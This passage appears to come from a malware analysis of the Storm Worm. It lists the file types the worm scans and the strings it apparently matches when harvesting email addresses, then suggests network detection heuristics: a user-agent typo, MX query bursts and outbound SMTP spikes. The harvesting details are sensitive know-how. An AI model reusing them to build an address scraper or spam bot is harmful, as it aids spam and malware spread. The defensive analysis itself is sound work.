.wab, .txt, .msg, .htm, .shtm, .stm, .xml, .dbx, .mbx, .mdx, .eml, .nch, .mmf, .ods, .cfg, .asp, .php, .pl, .wsh, .adb, .tbb, .sht, .xls, .oft, .win, .cgi, .mht, .dhtm, .jsp, .dat, .lst

It also searches for particular strings within these files, probably to extract the information about the host and email addresses contained in them:

@microsoft, rating@, f-secur, news, update, anyone@, bugs@, contract@, feste, gold-certs@, help@, info@, nobody@, noone@, kasp, admin, icrosoft, support, ntivi, unix, bsd, linux, listserv, certific, sopho, @foo, @iana, free -av, @messagelab, winzip, google, winrar, samples, abuse, panda, cafee, spam, pgp, @avp., noreply, local, root@, postmaster@

Detecting Storm Worm on the Wire

The majority of mail traffic over the Internet is spam. We need to detect these spam bots and try to keep them from proliferating. Our analysis provides good hints for detecting Storm traffic on the network. One high-confidence approach would be to correlate multiple suspicious events happening on the network within a short time. One example is a user-agent check for the typo we saw; we can correlate this with the multiple outbound DNS MX queries from the same source within a short time. An even more reliable detection would be to correlate those two events with a spontaneous increase in the outbound SMTP connections from the source.